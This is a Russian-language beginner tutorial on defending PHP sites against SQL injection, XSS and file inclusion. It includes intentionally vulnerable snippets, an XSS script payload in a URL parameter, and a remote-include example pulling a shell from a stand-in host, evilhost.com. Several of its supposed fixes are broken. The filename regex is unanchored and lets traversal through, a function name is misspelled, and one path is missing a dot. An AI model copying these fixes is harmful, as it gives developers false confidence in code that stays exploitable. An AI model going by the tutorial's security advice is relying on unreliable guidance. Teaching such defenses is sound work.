Начинаем веб-программирование не падая лицом в грязь.
В статье примеры будут на php, как на самом популярном языке среди программирования для веб.
Нужно обрабатывать все данные, которые как либо будут участвовать в sql-запросах, которые будут участвовать в открытии файлов, выводится на страницу. Не надо забивать даже на мелкие детали – это лишь увеличит ваше «забей» в дальнейшем.
SQL-Injections
Давайте рассмотрим простой пример:
PHP код:
$id = $_REQUEST['id'];
$result = mysql_query("SELECT title, text, dateline, autor FROM `news` WHERE `id`='$id'");
Хм, что-то не так, не правда ли? Если вы не заметили, то поздравляем – в вашем проекте sql-injection, которая может привести даже к дефейсу сайта.
Этого не было бы, если бы вы обработали сразу переменную.
PHP код:
$id = mysql_escpape_string($_REQUEST['id']);
Более подробно с функцией mysql_escape_string можно ознакомится на сайте php.net
Но если значение id может быть только целым числом, зачем вообще допускать другие символы? Незачем.
Может быть так будет лучше:
PHP код:
if(!is_numeric($_REQUEST['id'])){
//тут сообщение об ошибке о некорректных данных
}else{
//если значение является целым числом, то можем продолжать без дальнейшей фильтрации за бесполезностью
}
А можно и вырезать все лишнее функцией intval
PHP код:
$id = intval($_REQUEST['id']);
if($id){
//можно продолжать
}else{
//айди равно нулю
}
Есть мнение, и я думаю оно правильное: перед вносом в базу данных не надо обрабатывать никакие значение на вырез плохих кодов, это надо делать при выводе. В БД надо правильно вносить данные.
mysql_escape_string и mysql_real_escape_string именно для этого и созданы.
SQL-Injections нас уже не побеспокоят, перейдем дальше.
Вывод данных.
XSS это бич практически любого динамического сайта в Интернете. А все почему? Да потому что не многие считают это опасной уязвимостью (что очень и очень зря), и то, что просто забывают о том, что вместо ?page=1 злоумышленник может написать ?page=<script>evil_code</script>, который выведется на страницу.
Как обезопасится? Так же, как и в первом случае: фильтровать все данные, которые так или иначе будут выводится на странице. Тут могу порекомендовать такой же совет, как и в случае защиты от sql-inj – если значение может быть только int, то и не надо допускать другого!
В php есть несколько функций, которые вырезают html теги:
htmlspecialchars,
htmlentities,
strip_tags
Все данные, которые будут выводится на страницу должны быть отфильтрованы! Иначе безопасность вас и посетителей сайта может быть под угрозой.
Инклудинг файлов.
Из-за некорректности кода могут возникнуть и более серьезные угрозы безопасности вашего сайта, чем в предыдущем случае.
Часто из-за недостаточной обработке данных на сайтах присутствует возможность инлкуда локальных или удаленных файлов.
Если вы используете конструкцию типа приведенной ниже:
PHP код:
$file = $_REQUEST['file'];
include($file.'.html');
то поздравляю – у вас инклуд-уявзвимость.
А что если мы подставим в файл http://evilhost.com/shell.php?
Правильно, на вашем сайте будет шелл
Как защитится? Опять же – проверять данные, переданные скрипту.
Скорее всего вам не понадобится никакие название файлов, кроме как из маски a-z
Давайте проверим переменную файл регулярным выражением, и если она пройдет проверку, то мы ее и передадим:
PHP код:
if(preg_match('/[a-z]/i', $file)) include($file.'.html');
else echo 'Это не правильный файл!';
Если предпологается, что файлы не будут добовлятся динамически и их относительно не много, то лучше использовать функцию switch
Пример:
PHP код:
switch($_REQUEST['file']){
case 'eto': include('files/eto.html'); break; // Если файл – eto, ниже соотвественно
case 'tolko': include('files/tolko.html'); break;
case 'na4alo': include('files/na4alo.html'); break;
default: //То, что будет, если ни одно вышестоящие условие не выполнено
echo 'А страница-то пустая :)';
break;
}
Кстате, вы можете грузить одну и туже страницу по нескольким именам:
PHP код:
switch($file){
case 'eto':
case 'tolko':
include('files/eto.html');
break;
//
}
Помните, что обрабатыватся должны абсолютно все данные участвующие в сценарии. Будь то файл cookie, в котром хранятся данные о папке языка, будь то название шаблона.
Readfile or include?
Если в файле не планируется исполнения кода, то можно пользоватся функцией file_get_contents или readfile.
Например:
PHP код:
echo file_get_contents('files/'.$file.'html');
//or
readfile('files/'.$file.'.html');
Это также обезапасит вас, если вы создаете файлы динамически из админ-центра.
Ведь если злоумышленик получит доступ в админ-панель, а там создаст страницу с плохим кодом, то для вас это будет не менее печально, чем если бы был инклудинг файлов.